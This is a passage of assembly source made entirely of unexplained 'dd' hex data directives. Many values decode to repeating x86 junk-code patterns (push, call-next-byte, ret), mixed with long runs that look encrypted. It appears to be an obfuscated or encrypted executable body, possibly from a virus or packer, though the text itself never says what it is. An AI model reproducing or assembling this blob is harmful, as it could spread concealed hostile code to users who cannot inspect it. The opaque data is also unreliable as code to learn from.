		dd 0BD8B0000h, 7E91A71h, 0D781B58Bh, 6A07ECh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 734AE7C3h
		dd 4ECA9260h, 8B8152DEh, 0E91AFDBDh, 59858B07h,	0F07E918h
		dd 689D9B7h, 6374B2BFh,	55858B30h, 6A07E90Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 8A1C355h, 0E87602Eh,	5AACBF3Ah, 0EF81130Bh, 2654E5F1h
		dd 60044689h, 8E9D98Bh,	0B7000000h, 0A7B6DD39h,	612E1F48h
		dd 353DBD8Bh, 0E95007E9h, 0Fh, 0DA047F3Bh, 0D6F77B6Ah
		dd 14ACF015h, 891AF25Fh, 43B32434h, 0D77DB5FFh,	6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 8C4B47C3h, 73EEE72Dh, 0FE8BA144h, 4E8h, 1F03FF00h, 0FE8B6600h
		dd 0BE850h, 0EAC10000h,	0ED08F60Fh, 74DBD695h, 5BDE8BDAh
		dd 424448Bh, 5BDF8B53h,	0E860008Bh, 11h, 0F470AFA9h, 822D09A8h
		dd 66C935Bh, 0AF66549Ch, 586160B7h, 24448961h, 580BB304h
		dd 6890Fh, 0C7810000h, 69518E99h, 0B89BD8Bh, 858D07E9h
		dd 7ECD785h, 18B0Fh, 90F80000h,	0CE8h, 6BF66000h, 0ECAB6419h
		dd 741D31A8h, 58C0F54h,	0BF000000h, 78C86501h, 8BF505Bh
		dd 9003E720h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	15C35545h, 64EF8166h, 0FEBF0F8Eh, 2D995FFh, 0B70F07E9h
		dd 6A61DBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0EB5A94C3h, 0C710B373h, 0E922B185h, 307h
		dd 0AFBB6600h, 85BD83CBh, 7ECD7h, 13840Fh, 85010000h, 7E9126Dh
		dd 0EB99589h, 1DE907E9h, 8B000000h, 0C3050F9h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 3535BD33h, 890F07E9h
		dd 6, 0F499D8Bh, 9D8B07E9h, 7E9319Dh, 22B1BD83h, 0F0307E9h
		dd 40F85h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BD832671h, 7ECD785h, 0E5840F00h
		dd 1000003h, 0E90EB995h, 85B5FF07h, 6A07ECD7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 8ACAC355h, 66339D7Fh, 0F903E381h, 134995FFh,	3DBF07E9h
		dd 8B3B8C6Dh, 0ECD779B5h, 79BD3307h, 0C707E925h, 1000106h
		dd 0FB8B6600h, 2EADBD8Bh, 0E85007E9h, 0Bh, 37FED928h, 370DB02Dh
		dd 5B7EF372h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0D307C353h,	29DFB3B0h
		dd 21659D33h, 0B5FF07E9h, 7ECD785h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0A3C35141h,	0D70DD061h, 1AA84F34h
		dd 95BFBF66h, 306DBD89h, 95FF07E9h, 7E91AB1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 82C35545h, 3205BD8Bh
		dd 0B58B07E9h, 7ECD779h, 0CB5BD8Bh, 858B07E9h, 7E92449h
		dd 11DB8166h, 0C48689A6h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 493BC355h
		dd 40EC2307h, 0F17AAA6h, 586h, 13AFBB00h, 958B2C1Bh, 7E9320Dh
		dd 24FD9D03h, 0C28307E9h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0F55BED1Eh
		dd 23A1BD8Bh, 508907E9h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0CFE29CF4h, 40177FC4h
		dd 858DF5DBh, 7ECECA1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 90C35747h, 630227Dh, 65021598h, 3585BD03h
		dd 0C38007E9h, 0B8868960h, 0FC000000h, 6A006Ah,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 4230BEC3h, 85B5FF99h, 6607ECD7h, 95FFD88Bh, 7E902CDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BAC35242h
		dd 83E112D6h, 0E89689CBh, 0Dh, 263C05E8h, 65D40F38h, 0EE47BF45h
		dd 292BB93h, 505F686Ah,	96DF8B66h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0ACC35242h,	0EE959h, 0C3050000h
		dd 8BA18564h, 78C61ABEh, 0C92D4686h, 0FFD8B70Fh, 0ECD785B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0EBABA1A5h, 0ACA3B982h, 0FEB8166h, 2D95FF37h
		dd 3307E930h, 0E91825BDh, 0C9BD8307h, 7E91Eh, 19840Fh
		dd 50F50000h, 8B665250h, 5A310FDAh, 24348958h, 0C28B6660h
		dd 25419D31h, 0FF6107E9h, 0ECD785B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0EE86E57h, 9C000000h, 83A94881h, 0BB466CD3h,	0E83462C8h
		dd 5E8A1h, 0D2910000h, 8B73A4F8h, 0E908399Dh, 0FF5F5B07h
		dd 0E91F9D95h, 419D8B07h, 0FF07E919h, 0ECD785B5h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 9FFBB422h, 256E1F88h, 8B66EBFEh, 3995FFDAh, 6A07E901h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 2526C355h, 5968A5A6h, 9F32B04Ch, 83DEBF0Fh
		dd 0E929CDBDh, 840F0207h, 45h, 1081B501h, 816607E9h, 8B366DF3h
		dd 0E9087585h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0E3810490h, 65529C98h
		dd 26659589h, 0BF6607E9h, 0C66CBCh, 3CBB6600h, 0AD85C7BAh
		dd 7E924h, 0BF000000h, 3115BC4Ah, 0FFF436E9h, 11E8FFh
		dd 8A480000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h, 0FCC1D79h
		dd 689h, 830F00h, 5B000000h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 4329FC3h
		dd 1BE13AEFh, 0BBFB2023h, 7D13595Dh, 9E8h, 41C9700h, 0B1848A21h
		dd 0BB660212h, 95F5FEFh, 0E90B21B5h, 9C78107h, 29000065h
		dd 0E9264D8Dh, 190FBA07h, 6E90000h, 0B3000000h,	9FA3F2BEh
		dd 810F8BE0h, 832C09E0h, 0D6F1813Ah, 8B5ED61Eh,	0E90111B5h
		dd 0ABE98107h, 0BB19B750h, 56FB612Dh, 7C26C181h, 0F6811BBAh
		dd 5D6FDE0Ah, 8B520F89h, 0E93061B5h, 0EF815E07h, 4D0390B3h
		dd 21C99D29h, 0C78107E9h, 4D0390AFh, 1DFD8589h,	0EA8107E9h
		dd 1, 2C850Fh, 10E90000h, 0B5000000h, 1612BD91h, 866674Ch
		dd 0BCFE3CFDh, 0E95EDA20h, 2Eh,	2BBEAAC7h, 44C267F8h, 10007E16h
		dd 98CEEF98h, 8B66284Dh, 0FF73E9F3h, 1539FFFFh,	158BB6A9h
		dd 1BE08953h, 8372A7D0h, 362662D2h, 8D8D302Bh, 7EE7554h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 54C35343h
		dd 3F315ADAh, 0CB050145h, 3860Fh, 8B660000h, 0D8D89DAh
		dd 8B07E932h, 0E90BDDBDh, 0C28B5107h, 0E585C75Bh, 0E007E922h
		dd 3300005Fh, 0E92F3D85h, 0B185C707h, 7E922h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F61C350h, 0B5FFD9B7h, 7E91735h, 0FE8h, 0B0D9C200h
		dd 0A01E2319h, 8EF141BEh, 84C89D32h, 0BC98D09h,	895807E9h
		dd 0E934DDBDh, 8595FF07h, 6A07E922h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 44B2C352h
		dd 101F6A86h, 6AF1BF0Fh, 3195FF00h, 8B07E90Ch, 0A40BEBC0h
		dd 0B556D4EAh, 0B6CE257Eh, 8D8DE952h, 7EE7621h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0AC35040h, 78DC19B3h
		dd 0D8D89CCh, 8907E932h, 0E908A9BDh, 58FC5207h,	22E585C7h
		dd 61EC07E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 7BBC67C3h, 32218D89h, 85C707E9h
		dd 7E922B1h, 0
		dd 167DB50Bh, 0B5FF07E9h, 7E92279h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 92C35545h, 4D8DFFA3h, 0CF04124Bh
		dd 8595FF36h, 0E807E922h, 5, 60EA781Ah,	0B19589E3h, 5E07E91Dh
		dd 95FF006Ah, 7E90C31h,	5FEBC08Bh, 7D5B543Fh, 0ED3A33CBh
		dd 4BF87FBFh, 2495CB1Fh, 95DA318Fh, 36B301Dh, 8A086D24h
		dd 225FAB5h, 8A6D3ED5h,	0F00AFA78h, 92C12E0Bh, 0C58E9AA1h
		dd 25CE921Ch, 0D7D8409Eh, 968FF3D9h, 59865575h,	0C3E4CF82h
		dd 7D7CB9B5h, 46B5AEF6h, 0E2E73112h, 9AECFDB8h,	8F26ED6Bh
		dd 4E027423h, 0E98B27E6h, 4, 39C4923Ch,	510E9h,	4232D900h
		dd 8FED01B3h, 0DAA44AE6h, 2BA9F95Bh, 710B2E8Ah,	0EFCB6CFCh
		dd 1183324Ah, 47F17C00h, 8B25C8B0h, 0F99E1761h,	4EB4F4ADh
		dd 2E5C286Eh, 0D6A04A78h, 0CDAF420Eh, 183933Bh,	0E208A429h
		dd 5AD8C894h, 989F88Ah,	0B305CC5h, 9F3B0B99h, 9723037Dh
		dd 0A825F983h, 923E584h, 0C56AC66Fh, 97A521BBh,	14800DE5h
		dd 1BA57903h, 14DC9CB3h, 13F371A0h, 590BA2FCh, 0B4216C75h
		dd 34D539F1h, 901D5FF0h, 98641624h, 0C8B2460Eh,	0C3826E74h
		dd 305C56E8h, 6FAC4DA7h, 84314E95h, 73D1h, 0E309D500h
		dd 4A6B5991h, 9844D6A0h, 0F12D0577h, 5CC48E10h,	53FB6B30h
		dd 5C66BEBEh, 10C16894h, 8430E1B0h, 1CEh, 0A64A9400h, 0D67E08D4h
		dd 0DCE63E40h, 0EE8CA014h, 0A9FD8816h, 93EAACEEh, 0B8E8CC24h
		dd 1224A03Ah, 220E9468h, 8029C38Eh, 2ECDB044h, 0A5CC2B27h
		dd 8B25C85Eh, 0D9851761h, 0E7FD4133h, 0BC18860Bh, 0EAAAE799h
		dd 2A305C44h, 0BC0EEA78h, 9D5A74Ah, 3840D77Fh, 4D30C4F0h
		dd 0C964E3D1h, 0FB4BD967h, 8B3DDC20h, 3D9F1666h, 0BBC56B1Fh
		dd 31CB596Bh, 27FF7D95h, 0BD19559Dh, 3A42D79Bh,	0A66058A4h
		dd 9E66183Eh, 19C02C04h, 310CF8F8h, 5D7684h, 784C0000h
		dd 0C4F3B3EEh, 871D305Ch, 92EA0FABh, 8EF006B2h,	48F11BB6h
		dd 7203799Ch, 0F54933C6h, 0D94CC9D9h, 87905E26h, 5D9A3B4h
		dd 8B5BE97Fh, 4D8E2FD3h, 84313763h, 4383h, 0A74A2700h
		dd 0AA4D09D5h, 7D9772D2h, 770528DCh, 44F748E5h,	2E86067Bh
		dd 148E305Ch, 7FC47581h, 4A942EB3h, 9908D4A6h, 305CC53Eh
		dd 0A452FB1Dh, 0C517970Ah, 0ABF9305Ch, 0E0847C4Fh, 1E28430h
		dd 0C0000000h, 0ADAA44Ah, 57D5AC4Eh, 0B4E5E2BDh, 0D0C71FADh
		dd 48B83FD6h, 0FAC638ADh, 0CB2BD23Eh, 90368332h, 5C94937Ah
		dd 0F1A0D678h, 305C7DB1h, 73854163h, 19AF3509h,	0AF420A94h
		dd 7DD8D8C9h, 6A38305Ch, 0D6411CD4h, 3FFAB741h,	0F737B566h
		dd 5F96CAAAh, 50EADD38h, 73286121h, 63F1B328h, 6D253783h
		dd 715B1CBh, 0E24EE775h, 2FD62E48h, 2873286Dh, 0FF796BAh
		dd 287C3C75h, 0E942873h, 1A64F622h, 6113399Bh, 95170FD7h
		dd 0A7B5015Dh, 52B209D5h, 0A1D379ABh, 3E07E17h,	7A1CA8F5h
		dd 2E9633BEh, 38C1ACEh,	632A5E6Ah, 0FF3B2C79h, 15BA2h
		dd 0A0B30000h, 0E939A537h, 68198F6Bh, 37B59A29h, 0A3997A13h
		dd 0FEF4FC8Eh, 0CC624E32h, 0C6C01CB2h, 0F735752Ch, 0FE172872h
		dd 701CA67Eh, 38D2C632h, 0F705B73Eh, 4EDC9CB3h,	4230DAF6h
		dd 72F74F4Fh, 46463B28h, 0CE2872F7h, 50EAB8D4h,	72F76121h
		dd 63F1B328h, 25C4C883h, 35B244D1h, 9FB78D9Bh, 0ABD56753h
		dd 0DAA2B511h, 0CE36931Eh, 288C1A4Bh, 51h, 5D23369Eh, 73656424h
		dd 60F6AC28h, 0BAB33A88h, 0B5890B1Bh, 750F992Fh, 0C4E6A6DBh
		dd 742E305Ch, 0C4EDCDBCh, 71DDB05Ch, 0AB57A321h, 3C7C25F9h
		dd 0D3B05CC5h, 2C210CADh, 34940D9Fh, 0DC305CC5h, 0A1962FC6h
		dd 0C000000h, 0CECDCB71h, 9E5A0BD8h, 37A0B32Ch,	0A9430BA5h
		dd 856D77CFh, 0B59409C4h, 82FFA937h, 28739302h,	22029012h
		dd 7BFA8496h, 0B74133D9h, 1D49F81Eh, 0E54D97CFh, 5BFBD849h
		dd 0A7FF2873h, 5AFDD925h, 1739C222h, 0FF118476h, 0F680AA5Eh
		dd 9E09247Fh, 0E48B950Ch, 23813065h, 2D65F7C3h,	17AD710Bh
		dd 304ABD81h, 5CFC8194h, 0E96939F5h, 618D65FBh,	0ED7AF5B8h
		dd 0FFAAC25Bh, 1E4314AFh, 923AD4D2h, 5527CA7Eh,	8D65FB89h
		dd 783632FCh, 29C4DE28h, 2E6E23BDh, 2E189737h, 1BA975F7h
		dd 0C3C1297Bh, 0A537A0B3h, 8000710Bh, 90305CC5h, 0D95B4A12h
		dd 4DA67011h, 386A384Fh, 3742E8E4h, 0C0B1E45Bh,	286E06C0h
		dd 0A7BB5250h, 9223B196h, 9A6A1426h, 8567BBEBh,	0DC98BD46h
		dd 0DE5CB400h, 4EEF1106h, 660729ACh, 59233490h,	65172591h
		dd 9ACE6CC8h, 9935098Bh, 0A93B0B89h, 6BF3851Bh,	237FBBC5h
		dd 39FA7F97h, 81B72E49h, 0CA63F58Bh, 0F4BEE4A9h, 568A66C8h
		dd 4A7E1F21h, 0FD5FD6A0h, 0EEC11D5Fh, 14h, 0C5ED7830h
		dd 0AB79D06Eh, 4024641Dh, 0B6EC305Ch, 0CF2C820h, 0FD7A14Ah
		dd 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah
		dd 6FB7356Dh, 53B3CD63h, 55A9D367h, 1768685Eh, 14890000h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 240C895Ch
		dd 0D3E68h, 241C8900h, 0EE769368h, 240C8B07h, 4C481h, 0EC830000h
		dd 24248904h, 4240481h,	5B000000h, 8904EC83h, 0C8892404h
		dd 58084389h, 5B2434FFh, 4C481h, 34FF0000h, 0C4835924h
		dd 30E904h, 0D25FFFFBh,	3382A06h, 0C89597E3h, 64884E0Ch
		dd 7B33B828h, 0C50307EEh, 0A58CE0FFh, 0DD805D7Dh, 0D861064Fh
		dd 6BD7175Fh, 66383A04h, 0C72647DBh, 0C72C6A4Dh, 9EA37C25h
		dd 33713D53h, 826E46BEh, 24E749A0h, 0D7592FE4h,	95313A22h
		dd 0D0FC40ECh, 0C96405D8h, 896C716Dh, 3CC17829h, 7CA05577h
		dd 223B5FE5h, 676D0578h, 65052C85h, 0C7EF0868h,	53F57604h
		dd 4DB56A9Eh, 635B1D4Dh, 563C7190h, 0D1BC5C7Eh,	937E3189h
		dd 9D6E199Bh, 95565F8Eh, 245F1932h, 0DE87E94h, 2F000000h
		dd 322B2828h, 5E2DADB8h, 2E2EAEA1h, 0EE9h, 120C2C00h, 0BB8E38EFh
		dd 7524CBB0h, 5F32428Bh, 0F510ECBAh, 0F3C7815Dh, 0E8000068h
		dd 0Dh,	0BF2D6DAh, 49EA5320h, 6B1BA9B0h, 0A3D5BB0Ch, 2B5B5318h
		dd 0BE6653C9h, 8B5BD7C6h, 81660F04h, 818B91C2h,	162055F0h
		dd 0D78B666Ah, 978FF081h, 66515B26h, 0A9C9C681h, 0D8C0815Ah
		dd 0E909B45Eh, 9, 0BC2C9971h, 0C0FE784Eh, 8A0F504Ah, 2
		dd 48FDDB3h, 0DF8B660Fh, 5BD98A56h, 0F02E983h, 4949F7BFh
		dd 38D0Fh, 8B660000h, 0E4F981D8h, 0FFFFF97h, 0F85h, 27E9F800h
		dd 0C000000h, 9F2E818Ah, 81F10A85h, 0C830Fh, 7E90000h
		dd 1D000000h, 7E1EB9A7h, 78E90258h, 76FFFFFFh, 35551A77h
		dd 2ADEFD69h, 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h
		dd 33A9A90Bh, 5AF19826h, 6AEF5E26h, 60327100h, 0E4FFB44Eh
		dd 22F867A5h, 0BEA1712Dh, 0DFCC43A3h, 0BA796721h, 0DAC881A3h
		dd 86D71B21h, 33327108h, 33831D29h, 0B6C09826h,	3448E53Eh
		dd 39D61576h, 63AE765Bh, 2FCD0DD9h, 64839FCFh, 59359826h
		dd 291F1523h, 634A765Bh, 4EAC1DABh, 0CC039FC8h,	0DAA955B3h
		dd 3C149321h, 336AA1A2h, 29B01526h, 639D765Bh, 334DAACEh
		dd 0BEF6D826h, 0DD2EB8A3h, 0B624C821h, 343AE53Ch, 0E6FF6776h
		dd 0B032712Ch, 0B61794E2h, 34A3E53Ch, 39231576h, 6354765Bh
		dd 2FB00DD9h, 513D9FCFh, 666A9826h, 646474ADh, 4E11CE74h
		dd 0DA8DAB2Eh
		dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh
		dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh
		dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h
		dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h
		dd 37A8517Fh, 3B881526h, 0BE9D765Bh, 0DD33A5ABh, 932021h
		dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 3DB58DFFh, 8D07EE7Eh, 0EE7E5C8Dh, 83CF2B07h,	0C88B05E9h
		dd 0A7339091h, 0B9A9F2D2h, 8F2B92BCh, 0B1A9F231h, 0DBB6BEA2h
		dd 3BDB1B88h, 28EBA644h, 46AE1C0Ah, 0B9FD4BE8h,	36ADA338h
		dd 0B7271B7Ch, 35470AC7h, 0E5608692h, 0E1511C64h, 8F2D439Ch
		dd 354701A6h, 62B96FF1h, 36ADA3ABh, 0B7271B7Ch,	35470AC7h
		dd 0E6138692h, 0E1511C64h, 0B3C8439Ch, 0BBAA9028h, 0DB81F24Ch
		dd 64419AFFh, 0B9B5C167h, 333330FEh, 54A9F20Ah,	0FA25C303h
		dd 2B0FA64Ch, 36061C0Ah, 31309FFEh, 0B1A11BF8h,	32AE1B7Fh
		dd 0B1F5E26Eh, 0DBB80EA2h, 0B6A11B88h, 32AE1BD6h, 287B9EEAh
		dd 4F471C18h, 0B9AE1BFBh, 0DB805EC1h, 15AEA539h, 0E225191Fh
		dd 8B949E02h, 0DBF81C2Bh, 32AE1BECh, 7D47EE0Ah,	6E470BEFh
		dd 5397EC2h, 69C9BF22h,	0B3C8CBE0h, 0B722CC44h,	0C82A1407h
		dd 58AE1BE3h, 314649F1h, 12AE1BF8h, 0BBF4D826h,	0B3AA3F6Ah
		dd 2EAA3F5Bh, 70AE1B8Fh, 6E50D895h, 0D97F1BA6h,	0CEA98191h
		dd 54F92379h, 0B7A1E0FDh, 32AE1B02h, 0AC6C0BA4h, 4A2F7DB7h
		dd 3DAC19C3h, 32AD2D67h, 62AE71F1h, 32AE1810h, 0F1F63B7Ch
		dd 16EA9266h, 16EA9A1Bh, 32AE008Bh, 0F1FE5BC7h,	59532A6Bh
		dd 0DD27A3EFh, 32AC98F7h, 0FA241B7Ch, 0AE969A58h, 0B02B147Fh
		dd 0B9AE1B8Fh, 0DB8A8A4Ah, 30D69BE4h, 402B1419h, 58AE1BF8h
		dd 31464E7Ch, 12AE1B3Eh, 0BBF3D842h, 0B3AA3FE3h, 2AAA3F83h
		dd 77AE1BE3h, 0B7C8D8A4h, 547B1CE3h, 32A863FDh,	742B1495h
		dd 52AE1B1Fh, 0DBEBD50Fh, 32AE1BD7h, 5F569A4Fh,	2087B365h
		dd 0EFEC97D2h, 0FC329B0Dh, 300BF25Fh, 32C41B1Fh, 32ADF3D9h
		dd 6C8E1BC7h, 46274520h, 762F1FD5h, 32BB1FDCh, 64E81B7Ch
		dd 0DB7510FDh, 32AE1B1Ah, 948FD39Fh, 33AEA57Eh,	8F255DE2h
		dd 35470B60h, 8B949E75h, 0BF271C90h, 35470363h,	2646CBE0h
		dd 83AE1B8Fh, 52E2B21Ch, 637D8DD6h, 825E52DBh, 2619D32Eh
		dd 69F46644h, 0B6A1DBBBh, 32AE190Fh, 431B92D9h,	6BA9F2D5h
		dd 0F3779A85h, 54969A9Eh, 3DAC19C5h, 32AE24F9h,	3C47EE3Eh
		dd 70AE1B1Fh, 1E3F59F7h, 0D8A42F33h, 83A651F9h,	34D69A5Fh
		dd 48F1269Eh, 30A79F73h, 32C41B3Eh, 32ADF349h, 6C8E1B8Fh
		dd 46274504h, 762F1FC7h, 32B81FD5h, 64E81BF8h, 140174BFh
		dd 0AE969A58h, 0E2B147Fh, 54AE1B8Fh, 4A2ECD4Ch,	0B7A1F3E1h
		dd 32AE1BDEh, 14BB8E73h, 0B3C81C95h, 0F2AE1D46h, 32B39E10h
		dd 0BF251B8Fh, 354737AEh, 32AFAD0Ah, 342914F1h,	0B9AE1BF8h
		dd 0DB8A3AC1h, 6B239039h, 8CA9F20Dh, 4CAF1A8Fh,	0DAFC1BADh
		dd 32AE1BE0h, 686D41D1h, 368A4F71h, 368A5FFDh, 32AE1B29h
		dd 0EC6D495Dh, 0BFAE050Ch, 0DE172142h, 0EC177DE4h, 0B37EE41Ch
		dd 2110821h, 3D6E9E10h,	32AF28BAh, 242A141Fh, 52AE1B8Fh
		dd 0DB7990A1h, 32AE1BEFh, 2544A2EAh, 0B76B1AFDh, 7B24FF44h
		dd 0DA969B5Fh, 32269E10h, 32C41B8Fh, 32ADF395h,	688E1BE3h
		dd 66274132h, 762F1FDCh, 32B21F58h, 60EC1B3Eh, 0C422E5DCh
		dd 0EA7E7D70h, 26474400h, 5DAE1BE3h, 0D028975Fh, 9739E819h
		dd 15F4B3F3h, 0DB5028F1h, 0B298435Dh, 3DDD1EF7h, 32AE5A42h
		dd 0B27E90E3h, 3DFD1C89h, 32AEF57Ch, 61AE717Ch,	32AE18D6h
		dd 0F1F53B1Fh, 16F292D4h, 16EA9AC3h, 32AE03E7h,	0F1FD58F1h
		dd 44294311h, 4323903Eh, 54A9F214h, 1C05CC9Eh, 0A7254CDCh
		dd 354734BAh, 0B3C844BAh, 3DAB94C9h, 32AE607Dh,	62AE717Ch
		dd 32AE18D6h, 0F1F63B1Fh, 16EA92D7h, 16EA9AC3h,	32AE0CE7h
		dd 0F1FE5BF1h, 4588BE64h, 35C7A6F7h, 4A2E1CD7h,	0B7A17319h
		dd 32AE1BC3h, 0A787D04Ch, 35473732h, 39D69A97h,	0B7A13E07h
		dd 32AE1B44h, 0DAF81B54h, 32AE1B1Ch, 6C6D45AFh,	368A6F4Eh
		dd 368A5F62h, 32AE1BE8h, 3A6D4DBEh, 920A08h, 0AF33388Dh
		dd 0BBA9F216h, 0DBA6CE32h, 3297F2C0h, 0A7A71BE3h, 3547345Ch
		dd 32AE1B40h, 0B3B907Ch, 0DBA9F213h, 32AE1B52h,	0DAFC1BE5h
		dd 32AE1BC4h, 686D41C3h, 368A4F78h, 368A5F79h, 32AE1B67h
		dd 3B6D497Ch, 9DE3B2A5h, 8AF9F91Bh, 32AE1BC6h, 0DAF81B89h
		dd 32AE1BF2h, 6C6D45D8h, 368A6FF5h, 368A5FBFh, 32AE1B07h
		dd 246D4DC9h, 0AA5804A7h, 8DA1C368h, 1E1F4B0Eh,	898A1F71h
		dd 412F9A87h, 4CF0A6B3h, 0BF231CF1h, 35409889h,	54FB387Fh
		dd 0B2B1894h, 19A9F2FEh, 3047DA37h, 0AF1A8F8Ch,	0FC1BAD4Ch
		dd 0AE1BE0DAh, 6D41D132h, 8A4F7168h, 8A5FFD36h,	0F305E983h
		dd 80F558A4h, 0C00BEDD2h, 64840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 3EBE47C3h
		dd 89B72380h, 0A18D8B1Ch, 8D07E919h, 0E94D5AB5h, 0F1958B07h
		dd 0B807E91Fh, 3, 0C4D38166h, 6AE6FFEFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CD14C352h
		dd 29BEB81Dh, 0BA40F558h, 7119F4CCh, 0E9C08BF8h, 0Ah, 0A1A17BACh
		dd 6A5E748Fh, 8166C1C7h, 833C55F1h, 0E918A5BDh,	9750007h
		dd 1A45BD83h, 740007E9h, 8B535019h, 403B8C0h, 85890000h
		dd 7E920F5h, 0D8359D8Dh, 0D3FF07EBh, 0BD83585Bh, 7E91A45h
		dd 50177400h, 403B853h,	85890000h, 7E920F5h, 0D4D69D8Dh
		dd 0D3FF07EBh, 6A585Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 505AD3C3h, 3D7627Dh, 0E9F2F870h
		dd 0Eh,	0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 0FD8A3BBDh
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A8440CC3h, 0C8F5F839h, 8D61E56Ch, 0EE85568Dh
		dd 7E907h, 0C80C0000h, 6027451Dh, 0D8D8906h, 0E907E932h
		dd 10h,	0B138289Fh, 728ADFFEh, 92B23FE8h, 92685834h, 22E585C7h
		dd 59C407E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 2ADD05C3h, 0D6B4AFEDh, 13E924h
		dd 0C1660000h, 0C091AE9Ah, 0D3C5A67h, 2479F50Bh, 5E7B73B3h
		dd 0B185C7A7h, 7E922h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 7330C350h
		dd 0B5FF32E6h, 7E9170Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0F1C35040h, 8B66F38Bh, 8595FFF0h, 6A07E922h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 9F66C352h, 0CD5FD54Dh, 89197A46h,	0E90FE19Dh
		dd 0FF006A07h, 0E90C3195h, 0EBC08B07h, 7E53F428h, 524C933Bh
		dd 2DAEBEB7h, 98D404E1h, 0E695FDA3h, 0B2DC8BCh,	89BB8DD5h
		dd 7F7CF378h, 920A2C9Fh, 2BF8DFFCh, 0AE8E2h, 36F60000h
		dd 350AE1FBh, 13F7AE28h, 9DF1E081h, 665F1E10h, 3AE1F281h
		dd 6196C781h, 0B5890000h, 7E91C15h, 6660DB2Bh, 0A710DB81h
		dd 2DDDB58Bh, 8B6107E9h, 8D8B1F34h, 7E9354Dh, 0BB49C681h
		dd 0F516DD3h, 186h, 815AFC00h
		dd 67DBAFEEh, 12E95Fh, 0A1350000h, 0FE73485Bh, 74DE9829h
		dd 0A1AC8B9Fh, 337A42Ch, 7690C681h, 0BF0F6273h,	816656C8h
		dd 8F9332E9h, 98B81F04h, 837966F5h, 35604EBh, 0E92AED8Dh
		dd 0FB815907h, 0FFFF9F1Ch, 14850Fh, 958B0000h, 7E906F5h
		dd 17E9h, 8045DC00h, 82C1BE20h,	0E6806727h, 0FF81E94Fh
		dd 0A53FFFFFh, 4B10A967h, 871D8D8Dh, 6A07EEh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 527A09C3h
